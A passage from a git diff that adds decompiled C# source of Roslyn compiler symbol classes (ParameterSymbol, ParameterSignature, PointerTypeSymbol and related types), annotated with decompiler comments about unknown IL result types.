Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol2 = symbol; + while ((object)symbol2 != null) + { + if ((int)symbol2.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)symbol2; + if ((int)methodSymbol.MethodKind != 0) + { + if (!methodSymbol.IsGenericMethod) + { + return null; + } + return methodSymbol; + } + } + symbol2 = symbol2.ContainingSymbol; + } + return null; + } + + internal static RefKind GetModifiers(SyntaxTokenList modifiers, out SyntaxToken refnessKeyword, out SyntaxToken paramsKeyword, out SyntaxToken thisKeyword, out ScopedKind scope) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Invalid comparison between Unknown and I4 + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + RefKind val = (RefKind)0; + bool flag = false; + refnessKeyword = default(SyntaxToken); + paramsKeyword = default(SyntaxToken); + thisKeyword = default(SyntaxToken); + Enumerator enumerator = ((SyntaxTokenList)(ref modifiers)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator)).Current; + switch (current.Kind()) + { + case SyntaxKind.OutKeyword: + if ((int)val == 0) + { + refnessKeyword = current; + val = (RefKind)2; + } + break; + case SyntaxKind.RefKeyword: + if ((int)val == 0) + { + refnessKeyword = current; + val = (RefKind)1; + } + break; + case SyntaxKind.InKeyword: + if ((int)val == 0) + { + refnessKeyword = current; + val = (RefKind)3; + } + break; + case SyntaxKind.ParamsKeyword: + paramsKeyword = current; + break; + case SyntaxKind.ThisKeyword: + thisKeyword = current; + break; + case SyntaxKind.ScopedKeyword: + flag = true; + break; + case SyntaxKind.ReadOnlyKeyword: + if ((int)val == 1 && ((SyntaxToken)(ref refnessKeyword)).GetNextToken(false, false, false, false) == current) + { + val = (RefKind)4; + } + break; + } + } + if (flag) + { + scope = (ScopedKind)(((int)val != 0) ? 1 : 2); + } + else + { + scope = (ScopedKind)0; + } + return val; + } + + internal static ImmutableArray ConditionallyCreateInModifiers(RefKind refKind, bool addRefReadOnlyModifier, Binder binder, BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + bool flag = addRefReadOnlyModifier; + if (flag) + { + bool flag2 = refKind - 3 <= 1; + flag = flag2; + } + if (flag) + { + return CreateInModifiers(binder, diagnostics, syntax); + } + return ImmutableArray.Empty; + } + + internal static ImmutableArray CreateInModifiers(Binder binder, BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + return CreateModifiers((WellKnownType)273, binder, diagnostics, syntax); + } + + private static ImmutableArray CreateRefReadonlyParameterModifiers(Binder binder, BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + return ImmutableArray.Create(CSharpCustomModifier.CreateOptional(binder.GetWellKnownType((WellKnownType)271, diagnostics, syntax))); + } + + internal static ImmutableArray CreateOutModifiers(Binder binder, BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + return CreateModifiers((WellKnownType)305, binder, diagnostics, syntax); + } + + private static ImmutableArray CreateModifiers(WellKnownType modifier, Binder binder, BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ImmutableArray.Create(CSharpCustomModifier.CreateRequired(binder.GetWellKnownType(modifier, diagnostics, syntax))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterSignature.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterSignature.cs new file mode 100644 index 0000000..59012f4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterSignature.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class ParameterSignature +{ + internal readonly ImmutableArray parameterTypesWithAnnotations; + + internal readonly ImmutableArray parameterRefKinds; + + internal static readonly ParameterSignature NoParams = new ParameterSignature(ImmutableArray.Empty, default(ImmutableArray)); + + private ParameterSignature(ImmutableArray parameterTypesWithAnnotations, ImmutableArray parameterRefKinds) + { + this.parameterTypesWithAnnotations = parameterTypesWithAnnotations; + this.parameterRefKinds = parameterRefKinds; + } + + private static ParameterSignature MakeParamTypesAndRefKinds(ImmutableArray parameters) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + if (parameters.Length == 0) + { + return NoParams; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder val = null; + for (int i = 0; i < parameters.Length; i++) + { + ParameterSymbol parameterSymbol = parameters[i]; + instance.Add(parameterSymbol.TypeWithAnnotations); + RefKind refKind = parameterSymbol.RefKind; + if (val == null) + { + if ((int)refKind != 0) + { + val = ArrayBuilder.GetInstance(i, (RefKind)0); + val.Add(refKind); + } + } + else + { + val.Add(refKind); + } + } + ImmutableArray immutableArray = val?.ToImmutableAndFree() ?? default(ImmutableArray); + return new ParameterSignature(instance.ToImmutableAndFree(), immutableArray); + } + + internal static void PopulateParameterSignature(ImmutableArray parameters, ref ParameterSignature lazySignature) + { + if (lazySignature == null) + { + Interlocked.CompareExchange(ref lazySignature, MakeParamTypesAndRefKinds(parameters), null); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterSymbol.cs new file mode 100644 index 0000000..82efe30 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterSymbol.cs @@ -0,0 +1,324 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class ParameterSymbol : Symbol, IParameterTypeInformation, IParameterListEntry, IParameterDefinition, IDefinition, IReference, INamedEntity, IParameterSymbolInternal, ISymbolInternal +{ + internal const string ValueParameterName = "value"; + + ImmutableArray IParameterTypeInformation.CustomModifiers => ImmutableArray.CastUp(AdaptedParameterSymbol.TypeWithAnnotations.CustomModifiers); + + bool IParameterTypeInformation.IsByReference => (int)AdaptedParameterSymbol.RefKind > 0; + + ImmutableArray IParameterTypeInformation.RefCustomModifiers => ImmutableArray.CastUp(AdaptedParameterSymbol.RefCustomModifiers); + + ushort IParameterListEntry.Index => (ushort)AdaptedParameterSymbol.Ordinal; + + bool IParameterDefinition.HasDefaultValue => AdaptedParameterSymbol.HasMetadataConstantValue; + + bool IParameterDefinition.IsOptional => AdaptedParameterSymbol.IsMetadataOptional; + + bool IParameterDefinition.IsIn => AdaptedParameterSymbol.IsMetadataIn; + + bool IParameterDefinition.IsMarshalledExplicitly => AdaptedParameterSymbol.IsMarshalledExplicitly; + + bool IParameterDefinition.IsOut => AdaptedParameterSymbol.IsMetadataOut; + + IMarshallingInformation IParameterDefinition.MarshallingInformation => (IMarshallingInformation)(object)AdaptedParameterSymbol.MarshallingInformation; + + ImmutableArray IParameterDefinition.MarshallingDescriptor => AdaptedParameterSymbol.MarshallingDescriptor; + + string INamedEntity.Name => AdaptedParameterSymbol.MetadataName; + + internal ParameterSymbol AdaptedParameterSymbol => this; + + internal virtual bool HasMetadataConstantValue + { + get + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + if (ExplicitDefaultConstantValue != (ConstantValue)null && (int)ExplicitDefaultConstantValue.SpecialType != 17) + { + return (int)ExplicitDefaultConstantValue.SpecialType != 33; + } + return false; + } + } + + internal virtual bool IsMarshalledExplicitly => MarshallingInformation != null; + + internal virtual ImmutableArray MarshallingDescriptor => default(ImmutableArray); + + public new virtual ParameterSymbol OriginalDefinition => this; + + protected sealed override Symbol OriginalSymbolDefinition => OriginalDefinition; + + public abstract TypeWithAnnotations TypeWithAnnotations { get; } + + public TypeSymbol Type => TypeWithAnnotations.Type; + + public abstract RefKind RefKind { get; } + + public abstract bool IsDiscard { get; } + + public abstract ImmutableArray RefCustomModifiers { get; } + + internal abstract MarshalPseudoCustomAttributeData? MarshallingInformation { get; } + + internal virtual UnmanagedType MarshallingType + { + get + { + MarshalPseudoCustomAttributeData marshallingInformation = MarshallingInformation; + if (marshallingInformation == null) + { + return (UnmanagedType)0; + } + return marshallingInformation.UnmanagedType; + } + } + + internal bool IsMarshalAsObject + { + get + { + UnmanagedType marshallingType = MarshallingType; + if ((uint)(marshallingType - 25) <= 1u || marshallingType == UnmanagedType.Interface) + { + return true; + } + return false; + } + } + + public abstract int Ordinal { get; } + + public abstract bool IsParams { get; } + + public bool IsOptional + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + bool flag = !IsParams && IsMetadataOptional; + if (flag) + { + RefKind refKind; + bool flag2 = (int)(refKind = RefKind) == 0; + if (!flag2) + { + bool flag3 = refKind - 3 <= 1; + flag2 = flag3; + } + flag = flag2 || ((int)refKind == 1 && ContainingSymbol.ContainingType.IsComImport); + } + return flag; + } + } + + internal abstract bool IsMetadataOptional { get; } + + internal abstract bool IsMetadataIn { get; } + + internal abstract bool IsMetadataOut { get; } + + [MemberNotNullWhen(true, "ExplicitDefaultConstantValue")] + public bool HasExplicitDefaultValue + { + [MemberNotNullWhen(true, "ExplicitDefaultConstantValue")] + get + { + if (IsOptional) + { + return ExplicitDefaultConstantValue != (ConstantValue)null; + } + return false; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public object? ExplicitDefaultValue + { + get + { + if (HasExplicitDefaultValue) + { + return ExplicitDefaultConstantValue.Value; + } + throw new InvalidOperationException(); + } + } + + internal abstract ConstantValue? ExplicitDefaultConstantValue { get; } + + public sealed override SymbolKind Kind => (SymbolKind)13; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsStatic => false; + + public override bool IsExtern => false; + + public virtual bool IsThis => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal abstract bool IsIDispatchConstant { get; } + + internal abstract bool IsIUnknownConstant { get; } + + internal abstract bool IsCallerFilePath { get; } + + internal abstract bool IsCallerLineNumber { get; } + + internal abstract bool IsCallerMemberName { get; } + + internal abstract int CallerArgumentExpressionParameterIndex { get; } + + internal abstract FlowAnalysisAnnotations FlowAnalysisAnnotations { get; } + + internal abstract ImmutableHashSet NotNullIfParameterNotNull { get; } + + internal abstract ImmutableArray InterpolatedStringHandlerArgumentIndexes { get; } + + internal abstract bool HasInterpolatedStringHandlerArgumentError { get; } + + internal abstract ScopedKind EffectiveScope { get; } + + internal abstract bool HasUnscopedRefAttribute { get; } + + internal abstract bool UseUpdatedEscapeRules { get; } + + public override bool HasUnsupportedMetadata + { + get + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = default(UseSiteInfo); + DeriveUseSiteInfoFromParameter(ref result, this); + DiagnosticInfo diagnosticInfo = result.DiagnosticInfo; + switch ((diagnosticInfo != null) ? new int?(diagnosticInfo.Code) : ((int?)null)) + { + case 648: + case 9041: + return true; + default: + return false; + } + } + } + + ITypeReference IParameterTypeInformation.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(AdaptedParameterSymbol.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + MetadataConstant IParameterDefinition.GetDefaultValue(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return GetMetadataConstantValue(context); + } + + internal MetadataConstant GetMetadataConstantValue(EmitContext context) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + if (!AdaptedParameterSymbol.HasMetadataConstantValue) + { + return null; + } + ConstantValue explicitDefaultConstantValue = AdaptedParameterSymbol.ExplicitDefaultConstantValue; + TypeSymbol typeSymbol = (((int)explicitDefaultConstantValue.SpecialType == 0) ? AdaptedParameterSymbol.Type : AdaptedParameterSymbol.ContainingAssembly.GetSpecialType(explicitDefaultConstantValue.SpecialType)); + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).CreateConstant(typeSymbol, explicitDefaultConstantValue.Value, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ParameterSymbolAdapter.cs", 165); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + if (AdaptedParameterSymbol.IsDefinition && AdaptedParameterSymbol.ContainingModule == ((PEModuleBuilder)pEModuleBuilder).SourceModule) + { + return (IDefinition)(object)this; + } + return null; + } + + internal new ParameterSymbol GetCciAdapter() + { + return this; + } + + internal ParameterSymbol() + { + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitParameter(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitParameter(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitParameter(this); + } + + protected sealed override bool IsHighestPriorityUseSiteErrorCode(int code) + { + if (code == 648 || code == 9041) + { + return true; + } + return false; + } + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.ParameterSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterWellKnownAttributeData.cs new file mode 100644 index 0000000..fa3327d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterWellKnownAttributeData.cs @@ -0,0 +1,141 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ParameterWellKnownAttributeData : CommonParameterWellKnownAttributeData +{ + private bool _hasAllowNullAttribute; + + private bool _hasDisallowNullAttribute; + + private bool _hasMaybeNullAttribute; + + private bool? _maybeNullWhenAttribute; + + private bool _hasNotNullAttribute; + + private bool? _notNullWhenAttribute; + + private bool? _doesNotReturnIfAttribute; + + private bool _hasEnumeratorCancellationAttribute; + + private ImmutableHashSet _notNullIfParameterNotNull = ImmutableHashSet.Empty; + + private ImmutableArray _interpolatedStringHandlerArguments = ImmutableArray.Empty; + + public bool HasAllowNullAttribute + { + get + { + return _hasAllowNullAttribute; + } + set + { + _hasAllowNullAttribute = value; + } + } + + public bool HasDisallowNullAttribute + { + get + { + return _hasDisallowNullAttribute; + } + set + { + _hasDisallowNullAttribute = value; + } + } + + public bool HasMaybeNullAttribute + { + get + { + return _hasMaybeNullAttribute; + } + set + { + _hasMaybeNullAttribute = value; + } + } + + public bool? MaybeNullWhenAttribute + { + get + { + return _maybeNullWhenAttribute; + } + set + { + _maybeNullWhenAttribute = value; + } + } + + public bool HasNotNullAttribute + { + get + { + return _hasNotNullAttribute; + } + set + { + _hasNotNullAttribute = value; + } + } + + public bool? NotNullWhenAttribute + { + get + { + return _notNullWhenAttribute; + } + set + { + _notNullWhenAttribute = value; + } + } + + public bool? DoesNotReturnIfAttribute + { + get + { + return _doesNotReturnIfAttribute; + } + set + { + _doesNotReturnIfAttribute = value; + } + } + + public bool HasEnumeratorCancellationAttribute + { + get + { + return _hasEnumeratorCancellationAttribute; + } + set + { + _hasEnumeratorCancellationAttribute = value; + } + } + + public ImmutableHashSet NotNullIfParameterNotNull => _notNullIfParameterNotNull; + + public ImmutableArray InterpolatedStringHandlerArguments + { + get + { + return _interpolatedStringHandlerArguments; + } + set + { + _interpolatedStringHandlerArguments = value; + } + } + + public void AddNotNullIfParameterNotNull(string parameterName) + { + _notNullIfParameterNotNull = _notNullIfParameterNotNull.Add(parameterName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PlaceholderTypeArgumentSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PlaceholderTypeArgumentSymbol.cs new file mode 100644 index 0000000..9b71aa8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PlaceholderTypeArgumentSymbol.cs @@ -0,0 +1,45 @@ +using System; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class PlaceholderTypeArgumentSymbol : ErrorTypeSymbol +{ + private static readonly TypeWithAnnotations s_instance = TypeWithAnnotations.Create(new PlaceholderTypeArgumentSymbol()); + + public override string Name => string.Empty; + + internal override bool MangleName => false; + + internal override bool IsFileLocal => false; + + internal override FileIdentifier? AssociatedFileIdentifier => null; + + internal override DiagnosticInfo? ErrorInfo => null; + + public static ImmutableArray CreateTypeArguments(ImmutableArray typeParameters) + { + return ImmutableArrayExtensions.SelectAsArray(typeParameters, (Func)((TypeParameterSymbol _) => s_instance)); + } + + private PlaceholderTypeArgumentSymbol() + { + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/PlaceholderTypeArgumentSymbol.cs", 31); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + return (object)t2 == this; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PointerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PointerTypeSymbol.cs new file mode 100644 index 0000000..633840e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PointerTypeSymbol.cs @@ -0,0 +1,289 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class PointerTypeSymbol : TypeSymbol, IPointerTypeReference, ITypeReference, IReference +{ + private readonly TypeWithAnnotations _pointedAtType; + + bool ITypeReference.IsEnum => false; + + bool ITypeReference.IsValueType => false; + + PrimitiveTypeCode ITypeReference.TypeCode => (PrimitiveTypeCode)9; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameterReference? ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference? ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference? ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference? ITypeReference.AsNamespaceTypeReference => null; + + INestedTypeReference? ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference? ITypeReference.AsSpecializedNestedTypeReference => null; + + internal PointerTypeSymbol AdaptedPointerTypeSymbol => this; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override bool IsStatic => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public TypeWithAnnotations PointedAtTypeWithAnnotations => _pointedAtType; + + public TypeSymbol PointedAtType => PointedAtTypeWithAnnotations.Type; + + internal override NamedTypeSymbol? BaseTypeNoUseSiteDiagnostics => null; + + public override bool IsReferenceType => false; + + public override bool IsValueType => true; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public override SymbolKind Kind => (SymbolKind)14; + + public override TypeKind TypeKind => (TypeKind)9; + + public override Symbol? ContainingSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + ITypeReference IPointerTypeReference.GetTargetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + ITypeReference val = ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(AdaptedPointerTypeSymbol.PointedAtType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + if (AdaptedPointerTypeSymbol.PointedAtTypeWithAnnotations.CustomModifiers.Length == 0) + { + return val; + } + return (ITypeReference)new ModifiedTypeReference(val, ImmutableArray.CastUp(AdaptedPointerTypeSymbol.PointedAtTypeWithAnnotations.CustomModifiers)); + } + + ITypeDefinition? ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + INamespaceTypeDefinition? ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition? ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition? ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IPointerTypeReference)(object)this); + } + + IDefinition? IReference.AsDefinition(EmitContext context) + { + return null; + } + + internal new PointerTypeSymbol GetCciAdapter() + { + return this; + } + + internal PointerTypeSymbol(TypeWithAnnotations pointedAtType) + { + _pointedAtType = pointedAtType; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal sealed override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + return (ManagedKind)1; + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitPointerType(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitPointerType(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitPointerType(this); + } + + public override int GetHashCode() + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + int num = 0; + TypeSymbol typeSymbol = this; + while ((int)typeSymbol.TypeKind == 9) + { + num++; + typeSymbol = ((PointerTypeSymbol)typeSymbol).PointedAtType; + } + return Hash.Combine(typeSymbol, num); + } + + internal override bool Equals(TypeSymbol? t2, TypeCompareKind comparison) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Equals(t2 as PointerTypeSymbol, comparison); + } + + private bool Equals(PointerTypeSymbol? other, TypeCompareKind comparison) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == other) + { + return true; + } + if ((object)other == null || !other._pointedAtType.Equals(_pointedAtType, comparison)) + { + return false; + } + return true; + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + PointedAtTypeWithAnnotations.AddNullableTransforms(transforms); + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + if (!PointedAtTypeWithAnnotations.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position, out var result2)) + { + result = this; + return false; + } + result = WithPointedAtType(result2); + return true; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + return WithPointedAtType(transform(PointedAtTypeWithAnnotations)); + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + TypeWithAnnotations newPointedAtType = PointedAtTypeWithAnnotations.MergeEquivalentTypes(((PointerTypeSymbol)other).PointedAtTypeWithAnnotations, (VarianceKind)0); + return WithPointedAtType(newPointedAtType); + } + + internal PointerTypeSymbol WithPointedAtType(TypeWithAnnotations newPointedAtType) + { + if (!PointedAtTypeWithAnnotations.IsSameAs(newPointedAtType)) + { + return new PointerTypeSymbol(newPointedAtType); + } + return this; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = default(UseSiteInfo); + DeriveUseSiteInfoFromType(ref result, PointedAtTypeWithAnnotations, AllowedRequiredModifierType.None); + return result; + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + return PointedAtTypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes); + } + + protected override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.PointerTypeSymbol(this, base.DefaultNullableAnnotation); + } + + protected override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.PointerTypeSymbol(this, nullableAnnotation); + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return 